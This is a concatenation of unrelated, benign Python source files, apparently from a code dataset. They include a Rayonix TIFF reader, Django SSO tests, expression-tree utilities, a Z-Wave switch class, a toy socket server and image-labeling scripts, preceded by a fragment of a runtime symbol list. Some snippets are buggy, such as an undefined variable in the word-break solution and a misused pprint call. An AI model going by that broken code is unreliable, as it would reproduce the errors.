'_Stofx', 'address': '0x7ffb3bb22b90'}, {'type': 'function', 'name': '_Stold', 'address': '0x7ffb3bb23080'}, {'type': 'function', 'name': '_Stoldx', 'address': '0x7ffb3bb23090'}, {'type': 'function', 'name': '_Stoll', 'address': '0x7ffb3bb232f0'}, {'type': 'function', 'name': '_Stollx', 'address': '0x7ffb3bb23300'}, {'type': 'function', 'name': '_Stolx', 'address': '0x7ffb3bb03ef0'}, {'type': 'function', 'name': '_Stoul', 'address': '0x7ffb3bb23580'}, {'type': 'function', 'name': '_Stoull', 'address': '0x7ffb3bb23590'}, {'type': 'function', 'name': '_Stoullx', 'address': '0x7ffb3bb235a0'}, {'type': 'function', 'name': '_Stoulx', 'address': '0x7ffb3bb03fb0'}, {'type': 'function', 'name': '_Strcoll', 'address': '0x7ffb3bb23a90'}, {'type': 'function', 'name': '_Strxfrm', 'address': '0x7ffb3bb23b70'}, {'type': 'function', 'name': '_Symlink', 'address': '0x7ffb3bb29390'}, {'type': 'function', 'name': '_Symlink_get', 'address': '0x7ffb3bb293d0'}, {'type': 'function', 'name': '_Temp_get', 'address': '0x7ffb3bb293e0'}, {'type': 'function', 'name': '_Thrd_abort', 'address': '0x7ffb3bb421e0'}, {'type': 'function', 'name': '_Thrd_create', 'address': '0x7ffb3bb24af0'}, {'type': 'function', 'name': '_Thrd_current', 'address': '0x7ffb3bb24bb0'}, {'type': 'function', 'name': '_Thrd_detach', 'address': '0x7ffb3bb10b90'}, {'type': 'function', 'name': '_Thrd_equal', 'address': '0x7ffb3bb24be0'}, {'type': 'function', 'name': '_Thrd_exit', 'address': '0x7ffb3bb24c00'}, {'type': 'function', 'name': '_Thrd_hardware_concurrency', 'address': '0x7ffb3bb14420'}, {'type': 'function', 'name': '_Thrd_id', 'address': '0x7ffb3bb0fbd0'}, {'type': 'function', 'name': '_Thrd_join', 'address': '0x7ffb3bb10b20'}, {'type': 'function', 'name': '_Thrd_sleep', 'address': '0x7ffb3bb24c10'}, {'type': 'function', 'name': '_Thrd_start', 'address': '0x7ffb3bb24c90'}, {'type': 'function', 'name': '_Thrd_yield', 'address': '0x7ffb3bb13860'}, {'type': 'function', 'name': '_To_byte', 'address': '0x7ffb3bb29450'}, {'type': 'function', 'name': '_To_wide', 'address': '0x7ffb3bb29490'}, {'type': 'function', 'name': '_Tolower', 'address': '0x7ffb3bb12d00'}, {'type': 'function', 'name': '_Toupper', 'address': '0x7ffb3bb1f640'}, {'type': 'function', 'name': '_Towlower', 'address': '0x7ffb3bb10380'}, {'type': 'function', 'name': '_Towupper', 'address': '0x7ffb3bb23c80'}, {'type': 'function', 'name': '_Unlink', 'address': '0x7ffb3bb294c0'}, {'type': 'function', 'name': '_Unlock_shared_ptr_spin_lock', 'address': '0x7ffb3bb10730'}, {'type': 'function', 'name': '_WStod', 'address': '0x7ffb3bb23f20'}, {'type': 'function', 'name': '_WStodx', 'address': '0x7ffb3bb23f30'}, {'type': 'function', 'name': '_WStof', 'address': '0x7ffb3bb24190'}, {'type': 'function', 'name': '_WStofx', 'address': '0x7ffb3bb241a0'}, {'type': 'function', 'name': '_WStold', 'address': '0x7ffb3bb246a0'}, {'type': 'function', 'name': '_WStoldx', 'address': '0x7ffb3bb246b0'}, {'type': 'function', 'name': '_Wcrtomb', 'address': '0x7ffb3bb126d0'}, {'type': 'function', 'name': '_Wcscoll', 'address': '0x7ffb3bb23d00'}, {'type': 'function', 'name': '_Wcsxfrm', 'address': '0x7ffb3bb23df0'}, {'type': 'function', 'name': '_Xtime_diff_to_millis', 'address': '0x7ffb3bb24ed0'}, {'type': 'function', 'name': '_Xtime_diff_to_millis2', 'address': '0x7ffb3bb0f930'}, {'type': 'function', 'name': '_Xtime_get_ticks', 'address': '0x7ffb3bb0fcb0'}, {'type': 'function', 'name': '__Wcrtomb_lk', 'address': '0x7ffb3bb23f10'}, {'type': 'function', 'name': '__crtCompareStringA', 'address': '0x7ffb3bb453b0'}, {'type': 'function', 'name': '__crtCompareStringW', 'address': '0x7ffb3bb45710'}, {'type': 'function', 'name': '__crtLCMapStringA', 'address': '0x7ffb3bb457e0'}, {'type': 'function', 'name': '__crtLCMapStringW', 'address': '0x7ffb3bb45ae0'}, {'type': 'function', 'name': '__set_stl_sync_api_mode', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': 'xtime_get', 'address': '0x7ffb3bb24f20'}]
|
nilq/baby-python
|
python
|
#!/usr/bin/env python
# FormatTIFFRayonixESRF.py
# Copyright (C) 2011 Diamond Light Source, Graeme Winter
#
# This code is distributed under the BSD license, a copy of which is
# included in the root directory of this package.
#
# Sub class of FormatTiffRayonix to deal with images who have beam centers
# specified in pixels
#
from __future__ import absolute_import, division, print_function
import struct
from dxtbx.format.FormatTIFFRayonix import FormatTIFFRayonix
class FormatTIFFRayonixESRF(FormatTIFFRayonix):
'''A class for reading TIFF format Rayonix images, and correctly
constructing a model for the experiment from this.'''
@staticmethod
def understand(image_file):
'''Check to see if this looks like an Rayonix TIFF format image,
i.e. we can make sense of it. Returns true if the beam center is specified
in pixels.'''
width, height, depth, order, bytes = FormatTIFFRayonix.get_tiff_header(
image_file)
import struct
from scitbx.matrix import col
from dxtbx.format.FormatTIFFHelpers import LITTLE_ENDIAN, BIG_ENDIAN
format = {LITTLE_ENDIAN:'<', BIG_ENDIAN:'>'}[order]
offset = 1024
detector_size_pixels = col(struct.unpack(format+'ii',bytes[offset+80:offset+88]))
detector_center_px = 0.5 * detector_size_pixels
detector_pixel_sz_mm = 1.E-6 * col( # convert from nano to milli
struct.unpack(format+'ii',bytes[offset+772:offset+780]))
header_beam_center = 0.001 * col( # Rayonix says this should be pixels
struct.unpack(format+'ii',bytes[offset+644:offset+652]))
disagreement = header_beam_center[0]/detector_center_px[0]
return header_beam_center[0] > 0 and header_beam_center[1] > 0 \
and disagreement < 0.5 # if header was in mm, disagreement should be
# approximately the pixel size in mm
def __init__(self, image_file, **kwargs):
'''Initialise the image structure from the given file, including a
proper model of the experiment.'''
from dxtbx import IncorrectFormatError
if not self.understand(image_file):
raise IncorrectFormatError(self, image_file)
FormatTIFFRayonix.__init__(self, image_file, **kwargs)
return
def _goniometer(self):
'''Return a model for goniometer corresponding to the values stored
in the image header. In the first instance assume this is a single
axis annd raise exception otherwise.'''
starts, ends, offset, width = self._get_rayonix_scan_angles()
# not testing as this the CLS images are not properly structured...
# and also don't have a serial number in (FAIL)
return self._goniometer_factory.single_axis()
####################################################################
# #
# Helper methods to get all of the values out of the TIFF header #
# - separated out to assist with code clarity #
# #
####################################################################
def _get_rayonix_beam_xy(self):
'''Get the beam x, y positions which are defined in the standard
to be in pixels. X and Y are not defined by the documentation, so
taking as a given that these are horizontal and vertical. N.B.
the documentation states that the horizontal direction is fast.'''
beam_x, beam_y = struct.unpack(
self._ii, self._tiff_header_bytes[1668:1676])[:2]
pixel_x, pixel_y = struct.unpack(
self._ii, self._tiff_header_bytes[1796:1804])[:2]
return beam_x * 1000 / pixel_x, beam_y * 1000 / pixel_y
if __name__ == '__main__':
import sys
for arg in sys.argv[1:]:
print(FormatTIFFRayonixESRF.understand(arg))
|
nilq/baby-python
|
python
|
from unittest.mock import Mock
import pytest
from sso.user import context_processors
@pytest.fixture
def request_with_next_user_authenticated(rf):
request = rf.get('/', {'next': 'http://www.example.com'})
request.user = Mock(is_authenticated=Mock(return_value=True))
return request
@pytest.fixture
def request_without_next_user_authenticated(rf):
request = rf.get('/')
request.user = Mock(is_authenticated=Mock(return_value=True))
return request
@pytest.fixture
def request_with_next_no_user(rf):
request = rf.get('/', {'next': 'http://www.example.com'})
request.user = None
return request
@pytest.fixture
def request_without_next_no_user(rf):
request = rf.get('/')
request.user = None
return request
def test_redirect_next_processor_installed(settings):
context_processors = settings.TEMPLATES[0]['OPTIONS']['context_processors']
expected = 'sso.user.context_processors.redirect_next_processor'
assert expected in context_processors
def test_redirect_next_processor_appends_next_param_user_authenticated(request_with_next_user_authenticated):
context = context_processors.redirect_next_processor(request_with_next_user_authenticated)
assert context['redirect_field_name'] == 'next'
assert context['redirect_field_value'] == 'http://www.example.com'
assert context['sso_logout_url'] == ('/accounts/logout/?next=http%3A%2F%2Fwww.example.com')
assert context['sso_login_url'] == ('/accounts/login/?next=http%3A%2F%2Fwww.example.com')
assert context['sso_reset_password_url'] == ('/accounts/password/reset/?next=http%3A%2F%2Fwww.example.com')
assert context['sso_register_url'] == (
'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fwww.example.com'
)
assert context['sso_is_logged_in'] is True
def test_redirect_next_processor_handles_no_next_param_user_authenticated(
request_without_next_user_authenticated, settings
):
context = context_processors.redirect_next_processor(request_without_next_user_authenticated)
assert context['redirect_field_name'] == 'next'
assert context['redirect_field_value'] == settings.DEFAULT_REDIRECT_URL
assert context['sso_logout_url'] == ('/accounts/logout/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F')
assert context['sso_login_url'] == ('/accounts/login/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F')
assert context['sso_reset_password_url'] == (
'/accounts/password/reset/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F'
)
assert context['sso_register_url'] == (
'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F'
)
assert context['sso_is_logged_in'] is True
def test_redirect_next_processor_appends_next_param_no_user(request_with_next_no_user):
context = context_processors.redirect_next_processor(request_with_next_no_user)
assert context['redirect_field_name'] == 'next'
assert context['redirect_field_value'] == 'http://www.example.com'
assert context['sso_logout_url'] == ('/accounts/logout/?next=http%3A%2F%2Fwww.example.com')
assert context['sso_login_url'] == ('/accounts/login/?next=http%3A%2F%2Fwww.example.com')
assert context['sso_reset_password_url'] == ('/accounts/password/reset/?next=http%3A%2F%2Fwww.example.com')
assert context['sso_register_url'] == (
'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fwww.example.com'
)
assert context['sso_is_logged_in'] is False
def test_redirect_next_processor_handles_no_next_param_no_user(request_without_next_no_user, settings):
context = context_processors.redirect_next_processor(request_without_next_no_user)
assert context['redirect_field_name'] == 'next'
assert context['redirect_field_value'] == settings.DEFAULT_REDIRECT_URL
assert context['sso_logout_url'] == ('/accounts/logout/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F')
assert context['sso_login_url'] == ('/accounts/login/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F')
assert context['sso_reset_password_url'] == (
'/accounts/password/reset/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F'
)
assert context['sso_register_url'] == (
'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F'
)
assert context['sso_is_logged_in'] is False
def test_new_enrolment_url(request_with_next_no_user):
context = context_processors.redirect_next_processor(request_with_next_no_user)
assert context['sso_register_url'] == (
'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fwww.example.com'
)
|
nilq/baby-python
|
python
|
from typing import Dict
from .expressions import (
Expression, Operation, Wildcard, AssociativeOperation, CommutativeOperation, SymbolWildcard, Pattern, OneIdentityOperation
)
__all__ = [
'is_constant', 'is_syntactic', 'get_head', 'match_head', 'preorder_iter', 'preorder_iter_with_position',
'is_anonymous', 'contains_variables_from_set', 'register_operation_factory', 'create_operation_expression',
'rename_variables', 'op_iter', 'op_len', 'register_operation_iterator', 'get_variables'
]
def is_constant(expression):
"""Check if the given expression is constant, i.e. it does not contain Wildcards."""
if isinstance(expression, Wildcard):
return False
if isinstance(expression, Expression):
return expression.is_constant
if isinstance(expression, Operation):
return all(is_constant(o) for o in op_iter(expression))
return True
def is_syntactic(expression):
"""
Check if the given expression is syntactic, i.e. it does not contain sequence wildcards or
associative/commutative operations.
"""
if isinstance(expression, Wildcard):
return expression.fixed_size
if isinstance(expression, Expression):
return expression.is_syntactic
if isinstance(expression, (AssociativeOperation, CommutativeOperation)):
return False
if isinstance(expression, Operation):
return all(is_syntactic(o) for o in op_iter(expression))
return True
def get_head(expression):
"""Returns the given expression's head."""
if isinstance(expression, Wildcard):
if isinstance(expression, SymbolWildcard):
return expression.symbol_type
return None
return type(expression)
def match_head(subject, pattern):
"""Checks if the head of subject matches the pattern's head."""
if isinstance(pattern, Pattern):
pattern = pattern.expression
pattern_head = get_head(pattern)
if pattern_head is None:
return True
if issubclass(pattern_head, OneIdentityOperation):
return True
subject_head = get_head(subject)
assert subject_head is not None
return issubclass(subject_head, pattern_head)
def preorder_iter(expression):
"""Iterate over the expression in preorder."""
yield expression
if isinstance(expression, Operation):
for operand in op_iter(expression):
yield from preorder_iter(operand)
def preorder_iter_with_position(expression):
"""Iterate over the expression in preorder.
Also yields the position of each subexpression.
"""
yield expression, ()
if isinstance(expression, Operation):
for i, operand in enumerate(op_iter(expression)):
for child, pos in preorder_iter_with_position(operand):
yield child, (i, ) + pos
def is_anonymous(expression):
"""Returns True iff the expression does not contain any variables."""
if hasattr(expression, 'variable_name') and expression.variable_name:
return False
if isinstance(expression, Operation):
return all(is_anonymous(o) for o in op_iter(expression))
return True
def contains_variables_from_set(expression, variables):
"""Returns True iff the expression contains any of the variables from the given set."""
if hasattr(expression, 'variable_name') and expression.variable_name in variables:
return True
if isinstance(expression, Operation):
return any(contains_variables_from_set(o, variables) for o in op_iter(expression))
return False
def get_variables(expression, variables=None):
"""Returns the set of variable names in the given expression."""
if variables is None:
variables = set()
if hasattr(expression, 'variable_name') and expression.variable_name is not None:
variables.add(expression.variable_name)
if isinstance(expression, Operation):
for operand in op_iter(expression):
get_variables(operand, variables)
return variables
def rename_variables(expression: Expression, renaming: Dict[str, str]) -> Expression:
"""Rename the variables in the expression according to the given dictionary.
Args:
expression:
The expression in which the variables are renamed.
renaming:
The renaming dictionary. Maps old variable names to new ones.
Variable names not occuring in the dictionary are left unchanged.
Returns:
The expression with renamed variables.
"""
if isinstance(expression, Operation):
if hasattr(expression, 'variable_name'):
variable_name = renaming.get(expression.variable_name, expression.variable_name)
return create_operation_expression(
expression, [rename_variables(o, renaming) for o in op_iter(expression)], variable_name=variable_name
)
operands = [rename_variables(o, renaming) for o in op_iter(expression)]
return create_operation_expression(expression, operands)
elif isinstance(expression, Expression):
expression = expression.__copy__()
expression.variable_name = renaming.get(expression.variable_name, expression.variable_name)
return expression
def simple_operation_factory(op, args, variable_name):
if variable_name not in (True, False, None):
raise NotImplementedError('Expressions of type {} cannot have a variable name.'.format(type(op)))
return type(op)(args)
_operation_factories = {
list: simple_operation_factory,
tuple: simple_operation_factory,
set: simple_operation_factory,
frozenset: simple_operation_factory,
dict: simple_operation_factory,
}
_operation_iterators = {
dict: (lambda d: d.items(), len),
}
def register_operation_factory(operation, factory):
_operation_factories[operation] = factory
def register_operation_iterator(operation, iterator=iter, length=len):
_operation_iterators[operation] = (iterator, length)
def create_operation_expression(old_operation, new_operands, variable_name=True):
operation = type(old_operation)
for parent in operation.__mro__:
if parent in _operation_factories:
return _operation_factories[parent](old_operation, new_operands, variable_name)
if variable_name is True:
variable_name = getattr(old_operation, 'variable_name', None)
if variable_name is False:
return operation(*new_operands)
return operation(*new_operands, variable_name=variable_name)
def op_iter(operation):
op_type = type(operation)
for parent in op_type.__mro__:
if parent in _operation_iterators:
iterator, _ = _operation_iterators[parent]
return iterator(operation)
return iter(operation)
def op_len(operation):
op_type = type(operation)
for parent in op_type.__mro__:
if parent in _operation_iterators:
_, length = _operation_iterators[parent]
return length(operation)
return len(operation)
|
nilq/baby-python
|
python
|
from openzwave.network import ZWaveNode
from openzwave.value import ZWaveValue
from Firefly import logging
from Firefly.components.zwave.zwave_device import ZwaveDevice
from Firefly.const import ACTION_OFF, ACTION_ON, AUTHOR, DEVICE_TYPE_SWITCH, LEVEL, SWITCH
from Firefly.helpers.device_types.switch import Switch
from Firefly.util.zwave_command_class import COMMAND_CLASS_METER, COMMAND_CLASS_SWITCH_MULTILEVEL
BATTERY = 'battery'
ALARM = 'alarm'
POWER_METER = 'power_meter'
VOLTAGE_METER = 'voltage_meter'
CURRENT = 'power_current'
CURRENT_ENERGY_READING = 'current_energy_reading'
PREVIOUS_ENERGY_READING = 'previous_energy_reading'
VOLTAGE = 'voltage'
WATTS = 'watts'
COMMANDS = [ACTION_OFF, ACTION_ON, LEVEL]
REQUESTS = [ALARM, BATTERY, SWITCH, CURRENT, VOLTAGE, WATTS, LEVEL]
CAPABILITIES = {
ALARM: False,
BATTERY: False,
LEVEL: False,
POWER_METER: False,
SWITCH: True,
}
class ZwaveSwitch(Switch, ZwaveDevice):
def __init__(self, firefly, package, title='Zwave Switch', initial_values={}, **kwargs):
if kwargs.get('commands') is not None:
commands = kwargs.get('commands')
kwargs.pop('commands')
else:
commands = COMMANDS
if kwargs.get('requests') is not None:
requests = kwargs.get('requests')
kwargs.pop('requests')
else:
requests = REQUESTS
if kwargs.get('capabilities') is not None:
capabilities = kwargs.get('capabilities')
kwargs.pop('capabilities')
else:
capabilities = CAPABILITIES
super().__init__(firefly, package, title, AUTHOR, commands, requests, DEVICE_TYPE_SWITCH, capabilities=capabilities, initial_values=initial_values, **kwargs)
def update_from_zwave(self, node: ZWaveNode = None, ignore_update=False, values: ZWaveValue = None, values_only=False, **kwargs):
if node is None:
return
self._node = node
if values is None:
super().update_from_zwave(node, **kwargs)
logging.message('ZWAVE SWITCH SENSOR NO VALUES GIVEN')
return
label = values.label
if label == 'Switch':
self.update_values(switch=values.data)
self.value_map[values.label] = values.value_id
elif label == 'Battery Level':
self.update_values(battery=values.data)
self.value_map[values.label] = values.value_id
elif values.command_class == COMMAND_CLASS_METER:
self.value_map[values.label] = values.value_id
if label == 'Energy':
self.update_values(current_energy_reading=values.data)
if label == 'Previous Reading':
self.update_values(previous_energy_reading=values.data)
if label == 'Power':
self.update_values(watts=values.data)
if label == 'Voltage':
self.update_values(voltage=values.data)
if label == 'Current':
self.update_values(power_current=values.data)
elif label == 'Level' and values.command_class == COMMAND_CLASS_SWITCH_MULTILEVEL and self.capabilities[LEVEL] is True:
self.value_map[values.label] = values.value_id
level = node.get_dimmer_level(self.value_map[values.label])
self.update_values(level=level)
if values.data > 0:
self.update_values(switch=True)
else:
self.update_values(switch=False)
else:
logging.info('[ZWAVE DEVICE] recieved data for label: %s' % label)
super().update_from_zwave(node, **kwargs)
def set_switch(self, switch=None, **kwargs):
if switch is None:
return
on = switch == ACTION_ON
# Now do the switching
if self.value_map.get('Switch') is not None:
switch_id = self.value_map['Switch']
self._node.set_switch(switch_id, on)
# For dimmers you have to set the dimmer to what it was before then turn on switch
elif self.capabilities[LEVEL] is True:
if self.value_map.get('Level') is None:
return
dimmer_id = self.value_map['Level']
if on:
self._node.set_dimmer(dimmer_id, 255)
else:
self._node.set_dimmer(dimmer_id, 0)
self._node.refresh_value(dimmer_id)
def set_level(self, level=None, **kwargs):
logging.debug('LEVEL: %s' % str(level))
if level is None:
return
if type(level) is not int:
return
if self.value_map.get('Level') is None:
return
dimmer_id = self.value_map['Level']
self._node.set_dimmer(dimmer_id, level)
|
nilq/baby-python
|
python
|
import signal
import os
import subprocess
# Initializes a multi processing worker and prevents the interupt signal to be handled. This should be handled by the
# parent process.
def init_worker():
signal.signal(signal.SIGINT, signal.SIG_IGN)
def minimal_ext_cmd(cmd):
# construct minimal environment
env = {}
for k in ['SYSTEMROOT', 'PATH']:
v = os.environ.get(k)
if v is not None:
env[k] = v
# LANGUAGE is used on win32
env['LANGUAGE'] = 'C'
env['LANG'] = 'C'
env['LC_ALL'] = 'C'
cwd = os.path.dirname(os.path.realpath(__file__))
FNULL = open(os.devnull, 'w')
o = subprocess.Popen(cmd, stdout=subprocess.PIPE, env=env, cwd=cwd, stderr=FNULL).communicate()[0]
return o
|
nilq/baby-python
|
python
|
"""Unit test package for aioxmppd."""
|
nilq/baby-python
|
python
|
#! /usr/bin/env python3
# coding: utf-8
# flow@SEA
# Licensed under the MIT License.
import time
import hashlib
import datetime
from binascii import unhexlify
from base58 import b58encode, b58decode
class CommonTool:
@staticmethod
def now():
return time.time()
@staticmethod
def sci_to_str(sciStr):
'''科学计数法转换成字符串'''
assert type('str')==type(sciStr),'invalid format'
if 'E' not in sciStr:
return sciStr
s = '%.10f' % float(sciStr)
while '0' == s[-1] and '.' in s:
s = s[:-1]
if '.' == s[-1]:
s = s[:-1]
return s
@staticmethod
def big_or_little(arr):
'''大小端互转'''
arr = bytearray(str(arr),'ascii')
length = len(arr)
for idx in range(length//2):
if idx%2 == 0:
arr[idx], arr[length-2-idx] = arr[length-2-idx], arr[idx]
else:
arr[idx], arr[length - idx] = arr[length - idx], arr[idx]
return arr.decode('ascii')
@staticmethod
def timestamp_to_utc(timestamp):
return datetime.datetime.utcfromtimestamp(timestamp)
@staticmethod
def hash256(b):
return hashlib.sha256(hashlib.sha256(b).digest()).digest()
@classmethod
def validate_address(cls, address):
if len(address) not in [33,34]: return False
if 'A' != address[0]: return False
tmp = b58decode(address)
x,check = tmp[:-4],tmp[-4:]
return cls.hash256(x)[:4] == check
@classmethod
def scripthash_to_address(cls, sh):
tmp = unhexlify('17' + sh)
tmp = b58encode(tmp + cls.hash256(tmp)[:4])
if isinstance(tmp, bytes):
return tmp.decode('utf8')
return tmp
@classmethod
def hex_to_biginteger(cls, fixed8_str):
if not fixed8_str: return 0
hex_str = cls.big_or_little(fixed8_str)
return int('0x' + hex_str, 16)
|
nilq/baby-python
|
python
|
class Solution(object):
def wordBreak(self, s, wordDict):
"""
:type s: str
:type wordDict: List[str]
:rtype: bool
"""
s_len = len(s)
dp = [False] * (s_len+1)
dp[0] = True
for i in range(s_len):
for j in range(i+1, n+1):
if dp[i] and s[i:j] in wordDict:
dp[j] = True
return dp[-1]
|
nilq/baby-python
|
python
|
import matplotlib.pyplot as plt
import numpy as np
from PIL import Image
# input is a H*W ndarray
def display(npimg):
plt.imshow(npimg, cmap='gray')
plt.show()
if __name__ == '__main__':
images_path = "./HCL2000-100/HCL2000_100_train.npz"
labels_path = "./HCL2000-100/HCL2000_100_train_label.npz"
images_data = np.load(images_path)
labels_data = np.load(labels_path)
print(images_data)
print(labels_data)
images = images_data["arr_0"]
labels = labels_data["arr_0"]
print(images.shape)
print(labels.shape)
# 1张图里显示4张子图，r代表reverse
plt.figure()
plt.subplot(221)
plt.imshow(images[0].reshape((28, 28)), cmap=plt.cm.gray)
plt.subplot(222)
plt.imshow(images[1].reshape((28, 28)), cmap=plt.cm.gray_r)
plt.subplot(223)
plt.imshow(images[2].reshape((28, 28)), cmap='gray')
plt.subplot(224)
plt.imshow(images[2].reshape((28, 28)), cmap='gray_r')
plt.show()
plt.figure()
pilimage = Image.fromarray(images[3].reshape((28, 28)), 'L')
pilimage = pilimage.resize((224, 224))
plt.imshow(pilimage, cmap='gray_r')
plt.show()
# 分别显示4张图
for i in (x + 4 for x in range(4)):
plt.figure()
plt.imshow(images[i].reshape((28, 28)), cmap=plt.cm.gray)
print('id:', i)
print('label:', labels[i])
print('size:', images[i].size)
plt.show()
|
nilq/baby-python
|
python
|
import socket
host, port = '', 8888
listen_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listen_socket.bind((host, port))
listen_socket.listen(1)
print("listening on port %s" % port)
while True:
client_connection, client_address = listen_socket.accept()
request = client_connection.recv(1024)
print(request)
http_response = 'hello world, this is a custom server'
client_connection.sendall(bytes(http_response.encode('utf-8')))
client_connection.close()
|
nilq/baby-python
|
python
|
import sys
from setuptools import setup
from setuptools.command.test import test as TestCommand
packageName = "arthur"
import re
versionLine = open("{0}/_version.py".format(packageName), "rt").read()
match = re.search(r"^__version__ = ['\"]([^'\"]*)['\"]", versionLine, re.M)
versionString = match.group(1)
class Tox(TestCommand):
def finalize_options(self):
TestCommand.finalize_options(self)
self.test_suite = True
def run_tests(self):
#import here, cause outside the eggs aren't loaded
import tox
sys.exit(tox.cmdline([]))
setup(name=packageName,
version=versionString,
description='Software for the exercises in Crypto 101, the introductory '
'book on cryptography.',
long_description=open("README.rst").read(),
url='https://github.com/crypto101/' + packageName,
author='Laurens Van Houtven',
author_email='_@lvh.io',
packages=["arthur", "arthur.test"],
test_suite="arthur.test",
cmdclass={'test': Tox},
zip_safe=True,
license='ISC',
keywords="crypto urwid twisted",
classifiers=[
"Development Status :: 3 - Alpha",
"Environment :: Console",
"Framework :: Twisted",
"Intended Audience :: Education",
"License :: OSI Approved :: ISC License (ISCL)",
"Programming Language :: Python :: 2 :: Only",
"Programming Language :: Python :: 2.6",
"Programming Language :: Python :: 2.7",
"Topic :: Education",
"Topic :: Games/Entertainment",
"Topic :: Security :: Cryptography",
]
)
|
nilq/baby-python
|
python
|
import os
from pip._vendor.colorama import Fore
from ws.RLUtils.monitoring.tracing.log_mgt import log_mgt
if __name__ == '__main__':
cwd = os.path.curdir
acwd = os.path.join(cwd, '_tests')
log_dir = os.path.join(acwd, "logs")
fn_log = log_mgt(log_dir, show_debug=False, fixed_log_file=False)[0]
color_red_foreground = Fore.RED
fn_log('1. show_debug = False, debug=True', color=color_red_foreground, debug=True)
fn_log('2. show_debug = False, debug=False', color=color_red_foreground, debug=False)
|
nilq/baby-python
|
python
|
real = float ( input(' Digite o valor em reais: R$'))
#dola = 5.34
dola = real / 5.34
euro = real / 6.25
print (' Convertendo o valor de R${:.2f}, você consegue US${:.2f} ou €{:.2f}.' .format( real,dola, euro))
#print (' Convertendo o valor de R${:.2f}, você consegue US${:.2f} ou € {:.2f}.'.format(real,(real/dola)))
''' Crie um programa que leia quanto dinheiro uma pessoa tem na carteira e mostre quantos dólares ela pode comprar.'''
|
nilq/baby-python
|
python
|
# -*- coding: utf-8 -*-
from openprocurement.auctions.core.tests.base import snitch
from openprocurement.auctions.core.tests.blanks.contract_blanks import (
# AuctionContractResourceTest
create_auction_contract_invalid,
get_auction_contracts,
# AuctionContractDocumentResourceTest
not_found,
create_auction_contract_document,
put_auction_contract_document,
patch_auction_contract_document,
# Auction2LotContractDocumentResourceTest
create_auction_2_lot_contract_document,
put_auction_2_lot_contract_document,
patch_auction_2_lot_contract_document,
)
class AuctionContractResourceTestMixin(object):
test_create_auction_contract_invalid = snitch(create_auction_contract_invalid)
test_get_auction_contracts = snitch(get_auction_contracts)
class AuctionContractDocumentResourceTestMixin(object):
test_not_found = snitch(not_found)
test_create_auction_contract_document = snitch(create_auction_contract_document)
test_put_auction_contract_document = snitch(put_auction_contract_document)
test_patch_auction_contract_document = snitch(patch_auction_contract_document)
class Auction2LotContractDocumentResourceTestMixin(object):
test_create_auction_2_lot_contract_document = snitch(create_auction_2_lot_contract_document)
test_put_auction_2_lot_contract_document = snitch(put_auction_2_lot_contract_document)
test_patch_auction_2_lot_contract_document = snitch(patch_auction_2_lot_contract_document)
|
nilq/baby-python
|
python
|
matrix = [
#0, 1, 2, 3, 4, 5, 6, 7], #0
[0, 1, 1, 0, 0, 0, 0, 0], #0
[1, 0, 1, 1, 0, 0, 0, 0], #1
[1, 1, 0, 0, 0, 0, 0, 0], #2
[0, 1, 0, 0, 1, 1, 0, 0], #3
[0, 0, 0, 1, 0, 0, 1, 0], #4
[0, 0, 0, 1, 0, 0, 1, 0], #5
[0, 0, 0, 0, 1, 1, 0, 1], #6
[0, 0, 0, 0, 0, 0, 1, 0], #7
]
def convert_to_adjacency():
adjacency = {}
for i, array in enumerate(matrix):
adjacency[i] = []
for j, v in enumerate(array):
if v == 1:
adjacency[i].append(j)
return adjacency
import pprint
output = convert_to_adjacency()
pprint(output)
|
nilq/baby-python
|
python
|
from code.cli import Cli
if __name__ == '__main__':
Cli().run()
|
nilq/baby-python
|
python
|
import cv2
import shutil
import os
import numpy as np
from pathlib import Path
from tqdm import tqdm
from utils import get_all_files_in_folder
def create_images_for_labeling():
dirpath = Path('denred0_data/prepare_images_for_labeling/result')
if dirpath.exists() and dirpath.is_dir():
shutil.rmtree(dirpath)
Path(dirpath).mkdir(parents=True, exist_ok=True)
dirpath = Path('denred0_data/prepare_images_for_labeling/not_labeled')
if dirpath.exists() and dirpath.is_dir():
shutil.rmtree(dirpath)
Path(dirpath).mkdir(parents=True, exist_ok=True)
dirpath = Path('denred0_data/prepare_images_for_labeling/for_labeling_result')
if dirpath.exists() and dirpath.is_dir():
shutil.rmtree(dirpath)
Path(dirpath).mkdir(parents=True, exist_ok=True)
images_visual = get_all_files_in_folder(Path('denred0_data/prepare_images_for_labeling/visualization'), ['*.png'])
root_directory = 'denred0_data/prepare_images_for_labeling/all_data'
for subdir, dirs, files in os.walk(root_directory):
for folder in dirs:
images = get_all_files_in_folder(Path(root_directory).joinpath(folder), ['*.png'])
for im in tqdm(images):
result_image = np.zeros((1024, 1024, 3), dtype=int)
image_dequs = cv2.imread(str(im), cv2.IMREAD_COLOR)
orig_image = image_dequs[:512, :512, :]
image_mark_dequs = image_dequs[512:1024, :512, :]
cv2.putText(image_mark_dequs, folder, (50, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 0), 2,
cv2.LINE_AA)
image_mark = np.zeros((512, 512, 3), dtype=int)
image_mark_model = np.zeros((512, 512, 3), dtype=int)
for imvisual in images_visual:
if imvisual.stem == im.stem:
image_vis = cv2.imread(str(imvisual), cv2.IMREAD_COLOR)
image_mark = image_vis[:, 512:1024, :]
image_mark_model = image_vis[:, 1024:, :]
result_image[:512, :512, :] = orig_image
result_image[:512, 512:, :] = image_mark_dequs
result_image[512:, :512, :] = image_mark
result_image[512:, 512:, :] = image_mark_model
cv2.imwrite('denred0_data/prepare_images_for_labeling/result/' + im.name, result_image)
if np.sum(image_mark) == 0:
